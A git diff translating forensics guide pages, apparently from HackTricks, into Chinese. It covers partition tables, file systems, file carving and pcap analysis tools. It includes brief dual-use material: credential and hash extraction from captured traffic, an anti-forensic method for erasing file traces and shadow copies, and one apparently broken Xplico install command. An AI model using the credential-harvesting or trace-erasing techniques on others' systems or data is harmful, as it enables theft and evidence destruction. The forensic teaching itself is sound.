partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8) 在小端机器上) | +| 8 (0x08) | 4 字节 | 版本 1.0 (00h 00h 01h 00h) 适用于 UEFI 2.8 | +| 12 (0x0C) | 4 字节 | 小端的头大小(以字节为单位,通常为 5Ch 00h 00h 00h 或 92 字节) | +| 16 (0x10) | 4 字节 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 的头(偏移量 +0 到头大小)的小端,计算时此字段为零 | +| 20 (0x14) | 4 字节 | 保留;必须为零 | +| 24 (0x18) | 8 字节 | 当前 LBA(此头副本的位置) | +| 32 (0x20) | 8 字节 | 备份 LBA(另一个头副本的位置) | +| 40 (0x28) | 8 字节 | 分区的第一个可用 LBA(主分区表最后 LBA + 1) | +| 48 (0x30) | 8 字节 | 最后可用 LBA(辅助分区表第一个 LBA − 1) | +| 56 (0x38) | 16 字节 | 磁盘 GUID 的混合字节序 | +| 72 (0x48) | 8 字节 | 分区条目数组的起始 LBA(主副本中始终为 2) | +| 80 (0x50) | 4 字节 | 数组中分区条目的数量 | +| 84 (0x54) | 4 字节 | 单个分区条目的大小(通常为 80h 或 128) | +| 88 (0x58) | 4 字节 | 分区条目数组的 CRC32 小端 | +| 92 (0x5C) | \* | 保留;对于块的其余部分必须为零(对于 512 字节的扇区大小为 420 字节;但对于更大的扇区大小可以更多) | -**Partition entries (LBA 2–33)** +**分区条目 (LBA 2–33)** -| GUID partition entry format | | | +| GUID 分区条目格式 | | | | --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| 偏移量 | 长度 | 内容 | +| 0 (0x00) | 16 字节 | [分区类型 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(混合字节序) | +| 16 (0x10) | 16 字节 | 唯一分区 GUID(混合字节序) | +| 32 (0x20) | 8 字节 | 第一个 LBA([小端](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 字节 | 最后 LBA(包含,通常为奇数) | +| 48 (0x30) | 8 字节 | 属性标志(例如,位 60 表示只读) | +| 56 (0x38) | 72 字节 | 分区名称(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 代码单元) | -**Partitions Types** +**分区类型** ![](<../../../images/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +更多分区类型请见 [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### 检查 -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +在使用 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) 挂载取证镜像后,可以使用 Windows 工具 [**Active Disk Editor**](https://www.disk-editor.org/index.html)** 检查第一个扇区**。在下图中,在**扇区 0** 检测到一个 **MBR** 并进行了解释: ![](<../../../images/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +如果是**GPT 表而不是 MBR**,则应在**扇区 1** 中出现签名 _EFI PART_(在前面的图像中是空的)。 -## File-Systems +## 文件系统 -### Windows file-systems list +### Windows 文件系统列表 - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,86 +149,86 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计,该表位于卷的开始。该系统通过维护**两个副本**的表来保护数据,确保即使一个损坏也能保持数据完整性。该表及根文件夹必须位于**固定位置**,这对系统的启动过程至关重要。 -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +文件系统的基本存储单位是**簇,通常为 512B**,由多个扇区组成。FAT 通过版本演变: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**,支持 12 位簇地址,处理最多 4078 个簇(与 UNIX 一起为 4084)。 +- **FAT16**,增强为 16 位地址,从而容纳最多 65,517 个簇。 +- **FAT32**,进一步发展为 32 位地址,允许每个卷最多 268,435,456 个簇。 -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +所有 FAT 版本的一个显著限制是**最大文件大小为 4GB**,这是由于用于文件大小存储的 32 位字段所致。 -Key components of the root directory, particularly for FAT12 and FAT16, include: +根目录的关键组件,特别是对于 FAT12 和 FAT16,包括: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **文件/文件夹名称**(最多 8 个字符) +- **属性** +- **创建、修改和最后访问日期** +- **FAT 表地址**(指示文件的起始簇) +- **文件大小** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** 是最常见的**非日志**分区(**不经常更改的分区**)的文件系统,如引导分区。**Ext3/4** 是**日志**文件系统,通常用于**其余分区**。 -## **Metadata** +## **元数据** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +某些文件包含元数据。这些信息是关于文件内容的,有时对分析师可能很有趣,因为根据文件类型,它可能包含如下信息: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- 标题 +- 使用的 MS Office 版本 +- 作者 +- 创建和最后修改日期 +- 相机型号 +- GPS 坐标 +- 图像信息 -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +您可以使用 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 等工具获取文件的元数据。 -## **Deleted Files Recovery** +## **已删除文件恢复** -### Logged Deleted Files +### 记录的已删除文件 -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +如前所述,有几个地方在文件被“删除”后仍然保存该文件。这是因为通常从文件系统中删除文件只是将其标记为已删除,但数据并未被触及。因此,可以检查文件的注册表(如 MFT)并找到已删除的文件。 -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +此外,操作系统通常会保存大量关于文件系统更改和备份的信息,因此可以尝试使用它们来恢复文件或尽可能多的信息。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **文件雕刻** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**文件雕刻**是一种尝试在**大量数据中查找文件**的技术。此类工具的主要工作方式有三种:**基于文件类型的头和尾**、基于文件类型的**结构**和基于**内容**本身。 -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +请注意,这种技术**无法检索碎片化的文件**。如果文件**未存储在连续的扇区中**,则此技术将无法找到它,或至少无法找到其部分。 -There are several tools that you can use for file Carving indicating the file types you want to search for +您可以使用多种工具进行文件雕刻,指明您要搜索的文件类型。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### 数据流 **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +数据流雕刻类似于文件雕刻,但**不是查找完整文件,而是查找有趣的信息片段**。\ +例如,代替查找包含记录的 URL 的完整文件,此技术将搜索 URL。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### 安全删除 -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +显然,有方法可以**“安全地”删除文件及其部分日志**。例如,可以**多次用垃圾数据覆盖**文件的内容,然后**删除**关于该文件的**$MFT** 和 **$LOGFILE** 中的**日志**,并**删除卷影副本**。\ +您可能会注意到,即使执行该操作,仍可能有**其他部分记录了文件的存在**,这确实是事实,取证专业人员的工作之一就是找到它们。 -## References +## 参考文献 - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) - [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) - [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** +- **iHackLabs 认证数字取证 Windows** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index cd9e13a58..cb875f11c 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# 文件/数据雕刻与恢复工具 {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## 雕刻与恢复工具 -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +更多工具在 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +在取证中提取图像文件的最常用工具是 [**Autopsy**](https://www.autopsy.com/download/)。下载并安装它,然后让它处理文件以查找“隐藏”文件。请注意,Autopsy 是为支持磁盘映像和其他类型的映像而构建的,但不支持简单文件。 ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** 是一个用于分析二进制文件以查找嵌入内容的工具。可以通过 `apt` 安装,其源代码在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上。 +**有用的命令**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件,请取消注释它们。如果您不取消注释任何内容,foremost 将搜索其默认配置的文件类型。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** 是另一个可以用来查找和提取 **嵌入在文件中的文件** 的工具。在这种情况下,您需要从配置文件 (_/etc/scalpel/scalpel.conf_) 中取消注释您希望提取的文件类型。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +这个工具包含在kali中,但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +这个工具可以扫描一个镜像并将**提取pcaps**,**网络信息(URLs,域名,IPs,MACs,邮件)**和更多**文件**。你只需执行: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +导航工具收集的**所有信息**(密码?),**分析** **数据包**(阅读[ **Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在**的域名相关)。 ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +您可以在 [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) 找到它。 -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +它提供GUI和CLI版本。您可以选择PhotoRec要搜索的**文件类型**。 ![](<../../../images/image (524).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +查看[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。 -#### Features of BinVis +#### BinVis的特点 -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- 视觉和主动的**结构查看器** +- 针对不同焦点的多个图 +- 专注于样本的部分 +- **查看PE或ELF可执行文件中的字符串和资源** +- 获取文件的**模式**以进行密码分析 +- **识别**打包器或编码器算法 +- 通过模式**识别**隐写术 +- **视觉**二进制差异比较 -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis是一个很好的**起点,以熟悉未知目标**在黑箱场景中。 -## Specific Data Carving Tools +## 特定数据雕刻工具 ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +通过搜索其密钥调度来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。 -Download [here](https://sourceforge.net/projects/findaes/). +在[这里](https://sourceforge.net/projects/findaes/)下载。 -## Complementary tools +## 补充工具 -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。\ +您可以使用Linux命令行工具**pdftotext**将pdf转换为文本并阅读。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index f076c885c..40d120704 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,74 +1,65 @@ {{#include ../../../banners/hacktricks-training.md}} -# Carving tools +# 切割工具 ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +在取证中,最常用的工具是 [**Autopsy**](https://www.autopsy.com/download/),用于从镜像中提取文件。下载并安装它,然后让它处理文件以查找“隐藏”文件。请注意,Autopsy 是为支持磁盘镜像和其他类型的镜像而构建的,但不支持简单文件。 ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk** 是一个用于搜索二进制文件(如图像和音频文件)中嵌入文件和数据的工具。它可以通过 `apt` 安装,但 [源代码](https://github.com/ReFirmLabs/binwalk) 可以在 github 上找到。 +**有用的命令**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件,请取消注释它们。如果您不取消注释任何内容,foremost 将搜索其默认配置的文件类型。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel** 是另一个可以用来查找和提取 **嵌入在文件中的文件** 的工具。在这种情况下,您需要从配置文件 \(_/etc/scalpel/scalpel.conf_\) 中取消注释您希望提取的文件类型。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +这个工具包含在kali中,但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +这个工具可以扫描一个镜像并将**提取pcaps**,**网络信息(URLs,域名,IPs,MACs,邮件)**和更多**文件**。你只需执行: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +导航通过工具收集的**所有信息**(密码?),**分析** **数据包**(阅读[ **Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在的**域名相关)。 ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +您可以在[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它。 -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +它提供GUI和CLI版本。您可以选择要让PhotoRec搜索的**文件类型**。 ![](../../../images/image%20%28524%29.png) -# Specific Data Carving Tools +# 特定数据雕刻工具 ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +通过搜索其密钥调度来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。 -Download [here](https://sourceforge.net/projects/findaes/). +在[这里下载](https://sourceforge.net/projects/findaes/)。 -# Complementary tools +# 补充工具 -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。 +您可以使用Linux命令行工具**pdftotext**将pdf转换为文本并进行阅读。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9e6ebd08d..3e7b6faf0 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -2,31 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> 关于 **PCAP** 与 **PCAPNG** 的说明:PCAP 文件格式有两个版本;**PCAPNG 是较新的,并不是所有工具都支持**。您可能需要使用 Wireshark 或其他兼容工具将文件从 PCAPNG 转换为 PCAP,以便在某些其他工具中使用。 -## Online tools for pcaps +## 在线工具用于 pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- 如果您的 pcap 的头部是 **损坏的**,您应该尝试使用:[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) **修复** 它 +- 在 [**PacketTotal**](https://packettotal.com) 中提取 **信息** 并搜索 pcap 内的 **恶意软件** +- 使用 [**www.virustotal.com**](https://www.virustotal.com) 和 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) 搜索 **恶意活动** -## Extract Information +## 提取信息 -The following tools are useful to extract statistics, files, etc. +以下工具对于提取统计信息、文件等非常有用。 ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **如果您要分析 PCAP,您基本上必须知道如何使用 Wireshark** -You can find some Wireshark tricks in: +您可以在以下位置找到一些 Wireshark 技巧: {{#ref}} wireshark-tricks.md @@ -34,111 +28,93 @@ wireshark-tricks.md ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(仅限 linux)_ 可以 **分析** 一个 **pcap** 并从中提取信息。例如,从一个 pcap 文件中,Xplico 提取每封电子邮件(POP、IMAP 和 SMTP 协议)、所有 HTTP 内容、每个 VoIP 通话(SIP)、FTP、TFTP 等。 +**安装** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**运行** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +访问 _**127.0.0.1:9876**_,凭证为 _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +然后创建一个 **新案例**,在案例中创建一个 **新会话** 并 **上传 pcap** 文件。 ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +像 Xplico 一样,它是一个 **分析和提取 pcaps 中对象** 的工具。它有一个免费版,你可以 **下载** [**这里**](https://www.netresec.com/?page=NetworkMiner)。它在 **Windows** 上工作。\ +这个工具也有助于从数据包中获取 **其他信息分析**,以便能够更 **快速** 地了解发生了什么。 ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +你可以从 [**这里下载 NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它在 Windows 上工作)**。\ +这是另一个有用的工具,**分析数据包** 并以有用的方式整理信息,以 **了解内部发生的事情**。 ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- 提取和编码用户名和密码(HTTP、FTP、Telnet、IMAP、SMTP...) +- 提取身份验证哈希并使用 Hashcat 破解它们(Kerberos、NTLM、CRAM-MD5、HTTP-Digest...) +- 构建可视化网络图(网络节点和用户) +- 提取 DNS 查询 +- 重建所有 TCP 和 UDP 会话 +- 文件雕刻 ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +如果您在 pcap 中**寻找**某些**东西**,可以使用**ngrep**。以下是使用主要过滤器的示例: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` +### 切割 -### Carving - -Using common carving techniques can be useful to extract files and information from the pcap: +使用常见的切割技术可以从 pcap 中提取文件和信息: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md {{#endref}} -### Capturing credentials +### 捕获凭证 -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +您可以使用工具如 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 从 pcap 或实时接口中解析凭证。 -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Check Exploits/Malware +## 检查漏洞/恶意软件 ### Suricata -**Install and setup** - +**安装和设置** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**检查 pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) 是一个工具,可以 -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- 读取 PCAP 文件并提取 Http 流。 +- gzip 解压任何压缩流 +- 使用 yara 扫描每个文件 +- 写入 report.txt +- 可选地将匹配的文件保存到一个目录 -### Malware Analysis +### 恶意软件分析 -Check if you can find any fingerprint of a known malware: +检查您是否可以找到已知恶意软件的任何指纹: {{#ref}} ../malware-analysis.md @@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) 是一个被动的开源网络流量分析器。许多操作员使用 Zeek 作为网络安全监控器 (NSM) 来支持对可疑或恶意活动的调查。Zeek 还支持广泛的流量分析任务,超出安全领域,包括性能测量和故障排除。 -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +基本上,由 `zeek` 创建的日志不是 **pcaps**。因此,您需要使用 **其他工具** 来分析包含 **pcaps** 信息的日志。 +### 连接信息 ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS 信息 ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -220,8 +193,7 @@ cat dns.log | 